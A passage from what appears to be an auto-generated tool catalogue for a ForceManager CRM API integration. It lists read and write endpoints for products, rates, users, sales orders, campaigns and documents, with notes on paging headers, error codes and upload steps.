/api/v1/forcemanager/productCategories/{product_category_id}. Scopes: api. forcemanager_get_productcategories_schema (read) — Product Categories schema via GET /productCategories/schema. Returns properties object with the definition of each field in the Product Categories table. With the Product Category you can classify each Product. GET /api/v1/forcemanager/productCategories/schema. Scopes: api. forcemanager_get_productfamilies (read) — List Product Families via GET /productFamilies. Returns all Product Families available. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/productFamilies. Scopes: api. forcemanager_get_productfamilies_by_id (read) — Get Product Family via GET /productFamilies/{product_family_id}. This endpoint retrieves data of a specific Product Family based on JSON input. The API returns a single Product Family available to the user in the Value List, according to the unique ID provided. If the specified Family does not exist, the response will be a "bad request". GET /api/v1/forcemanager/productFamilies/{product_family_id}. Scopes: api. forcemanager_get_productfamilies_schema (read) — Product Families schema via GET /productFamilies/schema. Returns properties object with the definition of each field in the Product Families table. With the Product Family you can classify each Product. GET /api/v1/forcemanager/productFamilies/schema. Scopes: api. forcemanager_get_productrates (read) — List Product Rates via GET /productRates. Returns all Product Rates available. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/productRates. Scopes: api. forcemanager_get_productrates_by_id (read) — Get Product Rate via GET /productRates/{product_rate_id}. This endpoint retrieves data of a specific Product Rate based on JSON input. The API returns a single Product Rate available to the user in the Value List, according to the unique ID provided. If the specified Rate does not exist, the response will be a "bad request". GET /api/v1/forcemanager/productRates/{product_rate_id}. Scopes: api. forcemanager_get_productrates_schema (read) — Product Rates schema via GET /productRates/schema. Returns properties object with the definition of each field in the Product Rates table. With the Product Rate you can associate a Rate to each Product. GET /api/v1/forcemanager/productRates/schema. Scopes: api. forcemanager_get_products (read) — List Products via GET /products. Returns all Products available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/products. Scopes: api. forcemanager_get_products_by_id (read) — Get Product via GET /products/{product_id}. This endpoint retrieves data of a specific Product based on JSON input. The API returns a single Product available to the user, according to the unique Product ID provided. If the specified Product does not exist, the response will be a "bad request". `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/products/{product_id}. Scopes: api. forcemanager_get_products_schema (read) — Products schema via GET /products/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The Schema defines all the fields that exist for a Product object. GET /api/v1/forcemanager/products/schema. Scopes: api. forcemanager_get_rates (read) — List Rates via GET /rates. Returns all Rates available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/rates. Scopes: api. forcemanager_get_rates_by_id (read) — Get Rate via GET /rates/{rate_id}. This endpoint retrieves data of a specific Rate based on JSON input. The API returns a single Rate available to the user, according to the unique ID provided. If the specified Rate does not exist, the response will be a "bad request". GET /api/v1/forcemanager/rates/{rate_id}. Scopes: api. forcemanager_get_rates_schema (read) — Rates schema via GET /rates/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Rate object. GET /api/v1/forcemanager/rates/schema. Scopes: api. forcemanager_get_resource_documents (read) — List Documents of a Resource via GET /{resource}/{resource_id}/documents. Returns all Documents associated to the specific Resource (accounts, opportunities, salesOrders, ...) available in the user's ForceManager implementation database based on JSON input. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `salesOrders`, and the vendor's list ends in an ellipsis, so it is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/{resource}/{resource_id}/documents. Scopes: api. forcemanager_get_resource_documents_folders (read) — List Folders of a Resource via GET /{resource}/{resource_id}/documents/folders. Returns all Folders of a specific Entity available in the user's ForceManager implementation database. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `salesOrders`, and the vendor's list ends in an ellipsis, so it is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/{resource}/{resource_id}/documents/folders. Scopes: api. forcemanager_get_resource_warnings (read) — List Warnings of a Resource via GET /{resource}/{resource_id}/warnings. Returns all Warnings associated to the specific Resource (accounts, opportunities, products, salesorders) available in the user's ForceManager implementation database. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `products`, `salesorders`. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/{resource}/{resource_id}/warnings. Scopes: api. forcemanager_get_resources (read) — Get Resources via GET /resources. This endpoint retrieves all the methods available in the API on JSON input. GET /api/v1/forcemanager/resources. Scopes: api. forcemanager_get_roles (read) — List Roles via GET /roles. Returns all Roles available in the user's ForceManager account database based on JSON input. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/roles. Scopes: api. forcemanager_get_roles_by_id (read) — Get Role via GET /roles/{role_id}. This endpoint retrieves data of a specific Role based on JSON input. The API returns a single Role available to the user, according to the unique ID provided. If the specified Role does not exist, the response will be a "bad request". GET /api/v1/forcemanager/roles/{role_id}. Scopes: api. forcemanager_get_roles_by_id_users (read) — List Users in Role via GET /roles/{role_id}/users. Returns all Users assigned to the specific Role available in the user's ForceManager implementation database. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/roles/{role_id}/users. Scopes: api. forcemanager_get_roles_schema (read) — Roles schema via GET /roles/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Roles object. GET /api/v1/forcemanager/roles/schema. Scopes: api. forcemanager_get_sales (read) — List Sales via GET /sales. Returns all Sales available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/sales. Scopes: api. forcemanager_get_sales_by_id (read) — Get Sale via GET /sales/{sale_id}. This endpoint retrieves data of a specific Sale based on JSON input. The API returns a single Sale available to the user, according to the unique ID provided. If the specified Sale does not exist, the response will be a "bad request". GET /api/v1/forcemanager/sales/{sale_id}. Scopes: api. forcemanager_get_sales_schema (read) — Sales schema via GET /sales/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Sales object. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/sales/schema. Scopes: api. forcemanager_get_salesorders (read) — List Order Headers via GET /salesorders. Returns all Order Headers available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/salesorders. Scopes: api. forcemanager_get_salesorders_by_id (read) — Get Order Header via GET /salesorders/{order_id}. This endpoint retrieves data of a specific Order Header based on JSON input. The API returns a single Header available to the user, according to the unique ID provided. If the specified Order Header does not exist, the response will be a "bad request". GET /api/v1/forcemanager/salesorders/{order_id}. Scopes: api. forcemanager_get_salesorders_schema (read) — Order Headers schema via GET /salesorders/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The Schema defines all the fields that exist for an Order Header object. GET /api/v1/forcemanager/salesorders/schema. Scopes: api. forcemanager_get_salesorderslines (read) — List Order Lines via GET /salesordersLines. Returns all Orders Lines available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/salesordersLines. Scopes: api. forcemanager_get_salesorderslines_by_id (read) — Get Order Line via GET /salesordersLines/{order_line_id}. This endpoint retrieves data of a specific Order Line based on JSON input. The API returns a single Line available to the user, according to the unique ID provided. If the specified Order Line does not exist, the response will be a "bad request". GET /api/v1/forcemanager/salesordersLines/{order_line_id}. Scopes: api. forcemanager_get_salesorderslines_schema (read) — Order Lines schema via GET /salesordersLines/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The Schema defines all the fields that exist for an Order Line object. GET /api/v1/forcemanager/salesordersLines/schema. Scopes: api. forcemanager_get_salesorderstatuses (read) — List Order Statuses via GET /salesorderStatuses. Returns all Orders Statuses available. GET /api/v1/forcemanager/salesorderStatuses. Scopes: api. forcemanager_get_salesorderstatuses_by_id (read) — Get Order Status via GET /salesorderStatuses/{order_status_id}. This endpoint retrieves data of a specific Order Status based on JSON input. The API returns a single Status available to the user in the Value List, according to the unique ID provided. If the specified Order Status does not exist, the response will be a "bad request". GET /api/v1/forcemanager/salesorderStatuses/{order_status_id}. Scopes: api. forcemanager_get_salesorderstatuses_schema (read) — Order Statuses schema via GET /salesorderStatuses/schema. The Schema is metadata that tells you how the data is structured for this specific Value list. GET /api/v1/forcemanager/salesorderStatuses/schema. Scopes: api. forcemanager_get_timezones (read) — List TimeZones via GET /timezones. Returns all TimeZones available. GET /api/v1/forcemanager/timezones. Scopes: api. forcemanager_get_users (read) — List Users via GET /users. Returns all Users available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/users. Scopes: api. forcemanager_get_users_by_id (read) — Get User via GET /users/{user_id}. This endpoint retrieves data of a specific User based on JSON input. The API returns a single User available to the user, according to the unique ID provided. If the specified User does not exist, the response will be a "bad request". GET /api/v1/forcemanager/users/{user_id}. Scopes: api. forcemanager_get_users_by_id_hierarchy (read) — List User Hierarchy via GET /users/{user_id}/hierarchy. This endpoint retrieves the hierarchy of a User based on JSON input. Specifically, an array of JSON data is returned, that reports the id and the name of each user that are below the requested User, on a hierarchical perspective. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/users/{user_id}/hierarchy. Scopes: api. forcemanager_get_users_by_id_roles (read) — List Roles of User via GET /users/{user_id}/roles. Returns all the Roles assigned to the user in ForceManager account database based on JSON input.
An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/users/{user_id}/roles. Scopes: api. forcemanager_get_users_schema (read) — Users schema via GET /users/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a User object. GET /api/v1/forcemanager/users/schema. Scopes: api. forcemanager_get_users_scores (read) — List Users Scores via GET /users/scores. This endpoint retrieves the activity and sales Scores of the Users - which measured via the ForceActivity algorithm - based on JSON input. Specifically, an array of JSON data is returned. GET /api/v1/forcemanager/users/scores. Scopes: api. forcemanager_get_usertypes (read) — List User Types via GET /userTypes. Returns all User Types available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/userTypes. Scopes: api. forcemanager_get_usertypes_by_id (read) — Get User Type via GET /userTypes/{user_type_id}. This endpoint retrieves data of a specific User Type based on JSON input. The API returns a single User Type available to the user in the Value List, according to the unique ID provided. If the specified User Type does not exist, the response will be a "bad request". GET /api/v1/forcemanager/userTypes/{user_type_id}. Scopes: api. forcemanager_get_usertypes_schema (read) — User Types schema via GET /userTypes/schema. Returns properties object with the definition of each field in the User Type table. GET /api/v1/forcemanager/userTypes/schema. Scopes: api. forcemanager_post_accountaddresses (write) — Create Account Address via POST /accountAddresses. This endpoint allows you to create an Account Address based on JSON input. POST /api/v1/forcemanager/accountAddresses. Scopes: api. forcemanager_post_accounts (write) — Create Account via POST /accounts. This endpoint allows you to create a Account based on JSON input. POST /api/v1/forcemanager/accounts. Scopes: api. forcemanager_post_accountsegments (write) — Create Account Segment via POST /accountSegments. This endpoint allows you to create a Account Segment based on JSON input. POST /api/v1/forcemanager/accountSegments. Scopes: api. forcemanager_post_accountsrelated (write) — Create Related Account via POST /accountsRelated. This endpoint allows you to create a Related Account based on JSON input. POST /api/v1/forcemanager/accountsRelated. Scopes: api. forcemanager_post_accountsrelations (write) — Create Related Account Type via POST /accountsRelations. This endpoint allows you to create a Related Account Type based on JSON input. POST /api/v1/forcemanager/accountsRelations. Scopes: api. forcemanager_post_accountstatuses (write) — Create Account Status via POST /accountStatuses. This endpoint allows you to create a Account Status based on JSON input. POST /api/v1/forcemanager/accountStatuses. Scopes: api. forcemanager_post_accounttypes (write) — Create Account Type via POST /accountTypes. This endpoint allows you to create a Account Type based on JSON input. POST /api/v1/forcemanager/accountTypes. Scopes: api. forcemanager_post_activities (write) — Create Activity via POST /activities. This endpoint allows you to create an Activity based on JSON input. POST /api/v1/forcemanager/activities. Scopes: api. forcemanager_post_activitytypes (write) — Create Activity Type via POST /activityTypes. This endpoint allows you to create an Activity Type based on JSON input. POST /api/v1/forcemanager/activityTypes. Scopes: api. forcemanager_post_calendar (write) — Create Calendar via POST /calendar. This endpoint allows you to create a Event/Task based on JSON input. POST /api/v1/forcemanager/calendar. Scopes: api. forcemanager_post_calls (write) — Create Call by User ID via POST /calls. This endpoint allows you to create a Call based on JSON input, providing the ForceManager User ID to whom the Call has to be associated. POST /api/v1/forcemanager/calls. Scopes: api. forcemanager_post_calls_identify (write) — Create Call by User Phone Number via POST /calls/identify. This endpoint allows you to create a Call based on JSON input, providing as an identifier of the ForceManager User its email instead of the ID. This endpoint is useful in the case in which the external system (e.g. a PBX) is not aware of the ForceManager User ID but it has the reference of all the Users' phone numbers. POST /api/v1/forcemanager/calls/identify. Scopes: api. forcemanager_post_campaignquestions (write) — Create Campaign Question via POST /campaignQuestions. This endpoint allows you to create a Campaign Question based on JSON input. POST /api/v1/forcemanager/campaignQuestions. Scopes: api. forcemanager_post_campaignquestions_by_id_answers (write) — Create Question Answer via POST /campaignQuestions/{question_id}/answers. This endpoint allows you to create a Campaign Question Answer based on JSON input. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/campaignQuestions/{question_id}/answers. Scopes: api. forcemanager_post_campaignquestions_by_id_values (write) — Create Question Value via POST /campaignQuestions/{question_id}/values. This endpoint allows you to create a Campaign Question Value based on JSON input. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/campaignQuestions/{question_id}/values. Scopes: api. forcemanager_post_campaigns (write) — Create Campaign via POST /campaigns. This endpoint allows you to create a Campaign based on JSON input. POST /api/v1/forcemanager/campaigns. Scopes: api. forcemanager_post_campaigns_by_id_entities_by_entity_id (write) — Create Campaign Account via POST /campaigns/{campaign_id}/entities/{entity_id}. Links an Account to this Campaign, creating the Campaign Account record. If the specified Campaign or Account does not exist, the response is a bad request. POST /api/v1/forcemanager/campaigns/{campaign_id}/entities/{entity_id}. Scopes: api. forcemanager_post_contacts (write) — Create Contact via POST /contacts. This endpoint allows you to create a Contact based on JSON input. POST /api/v1/forcemanager/contacts. Scopes: api. forcemanager_post_contacttypes (write) — Create Contact Type via POST /contactTypes. This endpoint allows you to create a Contact Type based on JSON input. POST /api/v1/forcemanager/contactTypes. Scopes: api. forcemanager_post_documents (write) — Add Document via POST /documents. This endpoint allows you to upload a Document based on JSON input. FIRST STEP ONLY: ForceManager answers with a `locator` URL the file must then be PUT to. This integration ships no binary channel, so it registers the document and returns that URL; moving the bytes is the caller's. POST /api/v1/forcemanager/documents. Scopes: api. forcemanager_post_documents_folders (write) — Create Folder via POST /documents/folders. This endpoint allows you to create a Folder based on JSON input. POST /api/v1/forcemanager/documents/folders. Scopes: api. forcemanager_post_emails (write) — Create Email via POST /emails. This endpoint allows you to create an Email based on JSON input. POST /api/v1/forcemanager/emails. Scopes: api. forcemanager_post_extrafields_by_resource (write) — Create Extra Field for Resource via POST /extrafields/{resource}. This endpoint allows you to create an Extra Field for a specific entity. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `activities`, `calendar`, `contacts`, `opportunities`, `products`, `rates`, `salesorders`, `users` -- the one place the vendor writes 'The allowed values are'. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/extrafields/{resource}. Scopes: api. forcemanager_post_extrafieldstabs (write) — Create Tabs via POST /extrafieldsTabs. This endpoint allows you to create a Tab based on JSON input. POST /api/v1/forcemanager/extrafieldsTabs. Scopes: api. forcemanager_post_hooks (write) — Create Webhook via POST /hooks. This endpoint allows you to create an Webhook based on JSON input. POST /api/v1/forcemanager/hooks. Scopes: api. forcemanager_post_list (write) — Create List via POST /list. This endpoint allows you to create a List based on JSON input. POST /api/v1/forcemanager/list. Scopes: api. forcemanager_post_list_by_name (write) — Create Value via POST /list/{list_name}. This endpoint allows you to create a single Value or a complete Value List based on JSON input. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/list/{list_name}. Scopes: api. forcemanager_post_opportunities (write) — Create Opportunity via POST /opportunities. This endpoint allows you to create a Opportunity based on JSON input. POST /api/v1/forcemanager/opportunities. Scopes: api. forcemanager_post_opportunitystatuses (write) — Create Opportunity Status via POST /opportunityStatuses. This endpoint allows you to create a Opportunity Status based on JSON input. POST /api/v1/forcemanager/opportunityStatuses. Scopes: api. forcemanager_post_opportunitytypes (write) — Create Opportunity Type via POST /opportunityTypes. This endpoint allows you to create a Opportunity Status based on JSON input. POST /api/v1/forcemanager/opportunityTypes. Scopes: api. forcemanager_post_ordertypes (write) — Create Order Types via POST /orderTypes. This endpoint allows you to create an Order Types based on JSON input. POST /api/v1/forcemanager/orderTypes. Scopes: api. forcemanager_post_productcategories (write) — Create Product Category via POST /productCategories. This endpoint allows you to create a Product Category based on JSON input. POST /api/v1/forcemanager/productCategories. Scopes: api. forcemanager_post_productfamilies (write) — Create Product Family via POST /productFamilies. This endpoint allows you to create a Product Family based on JSON input. POST /api/v1/forcemanager/productFamilies. Scopes: api. forcemanager_post_productrates (write) — Create Product Rate via POST /productRates. This endpoint allows you to create a Product Rate based on JSON input. POST /api/v1/forcemanager/productRates. Scopes: api. forcemanager_post_products (write) — Create Product via POST /products. This endpoint allows you to create a Product based on JSON input. POST /api/v1/forcemanager/products. Scopes: api. forcemanager_post_products_bulk (write) — Bulk Create Products via POST /products/bulk. This endpoint allows you to create Multiple Products (100 entities for request) based on JSON input. POST /api/v1/forcemanager/products/bulk. Scopes: api. forcemanager_post_products_by_id_documents (write) — Add Picture via POST /products/{product_id}/documents. This endpoint allows you to upload a Picture based on JSON input. FIRST STEP ONLY: ForceManager answers with a `locator` URL the file must then be PUT to. This integration ships no binary channel, so it registers the document and returns that URL; moving the bytes is the caller's. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/products/{product_id}/documents. Scopes: api. forcemanager_post_rates (write) — Create Rate via POST /rates. This endpoint allows you to create a Rate based on JSON input. POST /api/v1/forcemanager/rates. Scopes: api. forcemanager_post_resource_bulk (write) — Bulk Create Resources via POST /{resource}/bulk. This endpoint allows you to create multiple Resources (200 entities for request) based on JSON input. `resource` is the entity name in the first path segment; the vendor documents Accounts, Contacts, Opportunities, Orders and Value Lists are the examples the vendor gives ('e.g.'), so the list is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/{resource}/bulk. Scopes: api. forcemanager_post_resource_documents (write) — Add Document to a Resource via POST /{resource}/{resource_id}/documents. This endpoint allows you to upload a Document linking it to a Resource (accounts, opportunities, salesOrders) based on JSON input. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `salesOrders`, and the vendor's list ends in an ellipsis, so it is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. FIRST STEP ONLY: ForceManager answers with a `locator` URL the file must then be PUT to. This integration ships no binary channel, so it registers the document and returns that URL; moving the bytes is the caller's. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/{resource}/{resource_id}/documents. Scopes: api. forcemanager_post_resource_documents_folders (write) — Create Folder for a Resource via POST /{resource}/{resource_id}/documents/folders. This endpoint allows you to create a Folder for a specific Entity based on JSON input. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `salesOrders`, and the vendor's list ends in an ellipsis, so it is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/{resource}/{resource_id}/documents/folders. Scopes: api. forcemanager_post_resource_warnings (write) — Create Warning for a Resource Copy via POST /{resource}/{resource_id}/warnings. This endpoint allows you to create a Warning in the specific Resource (accounts, opportunities, products, salesorders) based on JSON input. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `products`, `salesorders`. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. POST /api/v1/forcemanager/{resource}/{resource_id}/warnings. Scopes: api. forcemanager_post_sales (write) — Create Sale via POST /sales. This endpoint allows you to create a Sales based on JSON input. POST /api/v1/forcemanager/sales. Scopes: api. forcemanager_post_salesorders (write) — Create Order Header via POST /salesorders. This endpoint allows you to create am Order Header based on JSON input. POST /api/v1/forcemanager/salesorders. Scopes: api. forcemanager_post_salesorderslines (write) — Create Order Line via POST /salesOrdersLines. This endpoint allows you to create Orders Lines based on JSON input. POST /api/v1/forcemanager/salesOrdersLines. Scopes: api. forcemanager_post_salesorderstatuses (write) — Create Order Status via POST /salesorderStatuses. This endpoint allows you to create an Order Status based on JSON input. POST /api/v1/forcemanager/salesorderStatuses. Scopes: api. forcemanager_post_users (write) — Create User via POST /users. This endpoint allows you to create a User based on JSON input. `password` in the body is the NEW ForceManager user's own sign-in password, not this connection's credential. POST /api/v1/forcemanager/users. Scopes: api. forcemanager_post_usertypes (write) — Create User Type via POST /userTypes. This endpoint allows you to create a User Type based on JSON input. POST /api/v1/forcemanager/userTypes. Scopes: api. forcemanager_put_accountaddresses_by_id (write) — Update Account Address via PUT /accountAddresses/{account_address_id}. This endpoint allows you to update a specific Account Address. If the specified Address does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/accountAddresses/{account_address_id}. Scopes: api. forcemanager_put_accounts_by_id (write) — Update Account via PUT /accounts/{account_id}. This endpoint allows you to update a specific Account. If the specified Account does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/accounts/{account_id}. Scopes: api. forcemanager_put_accountsegments_by_id (write) — Update Account Segment via PUT /accountSegments/{account_segment_id}. This endpoint allows you to update a specific Account Segment. If the specified Account Segment does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/accountSegments/{account_segment_id}. Scopes: api. forcemanager_put_accountsrelated_by_id (write) — Update Related Account via PUT /accountsRelated/{related_account_id}. The endpoint allows you to update a specific Related Account information from the user's ForceManager implementation database. If the specified Related Account does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/accountsRelated/{related_account_id}. Scopes: api. forcemanager_put_accountsrelations_by_id (write) — Update Related Account Type via PUT /accountsRelations/{related_account_type_id}. This endpoint allows you to update a specific Related Account Type. If the specified Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/accountsRelations/{related_account_type_id}. Scopes: api. forcemanager_put_accountstatuses_by_id (write) — Update Account Status via PUT /accountStatuses/{account_status_id}. This endpoint allows you to update a specific Account Status. If the specified Account Status does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/accountStatuses/{account_status_id}. Scopes: api. forcemanager_put_activities_by_id (write) — Update Activity via PUT /activities/{activity_id}. This endpoint allows you to update a specific Activity. If the specified Activity does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/activities/{activity_id}. Scopes: api. forcemanager_put_activity_points (write) — Update Activity Points via PUT /activity/points. This endpoint allows you to update one or more Activity Points. PUT /api/v1/forcemanager/activity/points. Scopes: api. forcemanager_put_activitytypes_by_id (write) — Update Activity Type via PUT /activityTypes/{activity_type_id}. This endpoint allows you to update a specific Activity Type. If the specified Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/activityTypes/{activity_type_id}. Scopes: api. forcemanager_put_calendar_by_id (write) — Update Calendar via PUT /calendar/{calendar_entry_id}. The endpoint allows you to update specific information of a calendar Event or Task from the user's ForceManager implementation database. If the specified Event or Task does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/calendar/{calendar_entry_id}. Scopes: api. forcemanager_put_calls_by_id (write) — Update Call via PUT /calls/{call_id}. This endpoint allows you to update specific information of a Call. If the specified Call does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/calls/{call_id}. Scopes: api. forcemanager_put_campaignquestions_by_id (write) — Update Campaign Question via PUT /campaignQuestions/{question_id}. This endpoint allows you to update a specific Campaign Question. If the specified Campaign Question does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/campaignQuestions/{question_id}. Scopes: api. forcemanager_put_campaignquestions_by_id_answers_by_id (write) — Update Question Answer via PUT /campaignQuestions/{question_id}/answers/{answer_id}. This endpoint allows you to update a specific Campaign Question Answer. If the specified Campaign Question Answer does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/campaignQuestions/{question_id}/answers/{answer_id}. Scopes: api. forcemanager_put_campaignquestions_by_id_values_by_id (write) — Update Question Value via PUT /campaignQuestions/{question_id}/values/{value_id}. This endpoint allows you to update a specific Campaign Question Value. If the specified Campaign Question Value does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/campaignQuestions/{question_id}/values/{value_id}. Scopes: api. forcemanager_put_campaigns_by_id (write) — Update Campaign via PUT /campaigns/{campaign_id}. This endpoint allows you to update a specific Campaign. If the specified Campaign does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/campaigns/{campaign_id}. Scopes: api. forcemanager_put_campaigns_by_id_entities_by_entity_id (write) — Update Campaign Account via PUT /campaigns/{campaign_id}/entities/{entity_id}. This endpoint allows you to update a specific Campaign Account. If the specified Campaign Account does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/campaigns/{campaign_id}/entities/{entity_id}. Scopes: api. forcemanager_put_contacts_by_id (write) — Update Contact via PUT /contacts/{contact_id}. This endpoint allows you to update a specific Contact. If the specified Contact does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/contacts/{contact_id}. Scopes: api. forcemanager_put_contacttypes_by_id (write) — Update Contact Type via PUT /contactTypes/{contact_type_id}. This endpoint allows you to update a specific Contact Type. If the specified Contact Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/contactTypes/{contact_type_id}. Scopes: api. forcemanager_put_extrafieldstabs_by_id (write) — Update Tabs via PUT /extrafieldsTabs/{tab_id}. This endpoint allows you to update a specific Tab's information. If the specified Tab does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/extrafieldsTabs/{tab_id}. Scopes: api. forcemanager_put_hooks_by_id (write) — Update Webhook via PUT /hooks/{webhook_id}. This endpoint allows you to update a specific Webhook's information. If the specified Webhook does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/hooks/{webhook_id}. Scopes: api. forcemanager_put_list_accounttypes_by_id (write) — Update Account Type via PUT /list/accountTypes/{account_type_id}. This endpoint allows you to update a specific Account Type. If the specified Account Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/list/accountTypes/{account_type_id}. Scopes: api. forcemanager_put_list_by_name (write) — Update List via PUT /list/{list_name}. This endpoint allows you to update a specific List's information. If the specified List does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/list/{list_name}. Scopes: api. forcemanager_put_list_by_name_by_id (write) — Update Value via PUT /list/{list_name}/{value_id}. This endpoint allows you to update a specific Value List's information. If the specified Value does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/list/{list_name}/{value_id}. Scopes: api. forcemanager_put_opportunities_by_id (write) — Update Opportunity via PUT /opportunities/{opportunity_id}. This endpoint allows you to update a specific Opportunity. If the specified Opportunity does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/opportunities/{opportunity_id}. Scopes: api. forcemanager_put_opportunitystatuses_by_id (write) — Update Opportunity Status via PUT /opportunityStatuses/{opportunity_status_id}. This endpoint allows you to update a specific Opportunity Status. If the specified Opportunity Status does not exist, the response will be a "bad request". PUT 